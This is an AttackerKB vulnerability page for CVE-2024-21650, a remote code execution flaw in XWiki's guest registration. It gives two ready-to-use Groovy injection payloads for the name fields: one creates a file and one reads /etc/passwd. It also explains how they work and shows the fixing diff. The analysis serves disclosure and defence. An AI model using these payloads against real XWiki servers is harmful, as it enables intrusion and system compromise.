Very High
CVE-2024-21650
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2024-21650
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. XWiki is vulnerable to a remote code execution (RCE) attack through its user registration feature. This issue allows an attacker to execute arbitrary code by crafting malicious payloads in the “first name” or “last name” fields during user registration. This impacts all installations that have user registration enabled for guests. This vulnerability has been patched in XWiki 14.10.17, 15.5.3 and 15.8 RC1.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
Overview
XWiki is a Java-based, highly customizable and extensible enterprise-level Wiki platform, offering cross-database support, a powerful plugin system, a flexible template engine, and comprehensive security management, suitable for knowledge management and collaboration across various business needs.
This vulnerability, identified as XWIKI-21173, is a critical remote code execution (RCE) vulnerability present in the user registration process of XWiki. Specifically, it allows attackers to insert malicious scripts in the “name” field during user registration, which are subsequently executed on the server, potentially leading to unauthorized data access or system control. This vulnerability exposes a security flaw in XWiki’s handling of user input and script execution, posing a serious threat to the overall system security and necessitates immediate remediation to protect user data and system integrity.
Technical Analysis
In RegistrationConfig.xml
, user inputs such as register_first_name and register_last_name were directly embedded into the registration success message, without appropriate sanitization or escaping. Attackers could inject malicious Groovy scripts through the registration form. When these scripts were executed on the server, they could trigger arbitrary commands, resulting in a remote code execution (RCE) vulnerability.
<registrationSuccessMessage>#set($fullName = "$request.get('register_first_name') $request.get('register_last_name')") {{info}}$services.localization.render('core.register.successful', ["[[$fullName>>$userSpace$userName]]", $userName]){{/info}}</registrationSuccessMessage>
For this, we can generate the following payload based on the original configuration.
]]{{/html}}{{async}}{{groovy}}"touch /tmp/success".execute().waitFor(){{/groovy}}{{/async}}
]]{{/html}}{{async}}{{groovy}}throw new Exception("cat /etc/passwd".execute().text){{/groovy}}{{/async}}
Firstly, ]]{{/html}}
is used to end any previously started HTML rendering. Following this, the {{async}}
tag begins an asynchronous code block, meaning the subsequent code will run asynchronously, not blocking the rest of the page. The {{groovy}} tag indicates that the following code is written in the Groovy language. Finally, the {{/groovy}}{{/async}}
tags conclude the Groovy script block and the asynchronous block.
The modifications made to the RegistrationConfig.xml
file in the GitHub commit for XWIKI-21173 significantly enhance the security and accuracy of the registration success message within XWiki. By shifting to a more secure method of constructing user links using $xwiki.getUserName
and employing $services.localization.render
for message templating, these changes mitigate potential vulnerabilities such as code injection. This approach not only ensures the safe embedding of user-generated content but also supports multilingual environments, demonstrating a commitment to improving both the security and versatility of the XWiki platform.
git show b290bfd573c ...omitted... diff --git a/xwiki-platform-core/xwiki-platform-administration/xwiki-platform-administration-ui/src/main/resources/XWiki/RegistrationConfig.xml b/xwiki-platform-core/xwiki-platform-administration/xwiki-platform-administration-ui/src/main/resources/XWiki/RegistrationConfig.xml index ae1e3b1d9a3..640c8d1bd36 100644 --- a/xwiki-platform-core/xwiki-platform-administration/xwiki-platform-administration-ui/src/main/resources/XWiki/RegistrationConfig.xml +++ b/xwiki-platform-core/xwiki-platform-administration/xwiki-platform-administration-ui/src/main/resources/XWiki/RegistrationConfig.xml @@ -555,8 +555,9 @@ <passwordRuleOneUpperCaseEnabled>0</passwordRuleOneUpperCaseEnabled> </property> <property> - <registrationSuccessMessage>#set($fullName = "$request.get('register_first_name') $request.get('register_last_name')") -{{info}}$services.localization.render('core.register.successful', ["[[$fullName>>$userSpace$userName]]", $userName]){{/info}}</registrationSuccessMessage> + <registrationSuccessMessage>#set($message = $services.localization.render('core.register.successful', 'xwiki/2.1', ['USERLINK', $userName])) +#set($userLink = $xwiki.getUserName("$userSpace$userName")) +{{info}}$message.replace('USERLINK', "{{html clean=false}}$userLink{{/html}}"){{/info}}</registrationSuccessMessage>
Reference
- https://jira.xwiki.org/browse/XWIKI-21173
- https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rj7p-xjv7-7229
- https://github.com/xwiki/xwiki-platform/commit/b290bfd573c6f7db6cc15a88dd4111d9fcad0d31
- https://attackerkb.com/topics/Hn4W1casCs/cve-2024-21650
- https://www.xwiki.org/xwiki/bin/view/Documentation/UserGuide/Features/XWikiSyntax/?syntax=2.1§ion=Macros
- https://extensions.xwiki.org/xwiki/bin/view/Extension/Localization/Scripting/
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- xwiki
Products
- xwiki
References
Additional Info
Technical Analysis
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: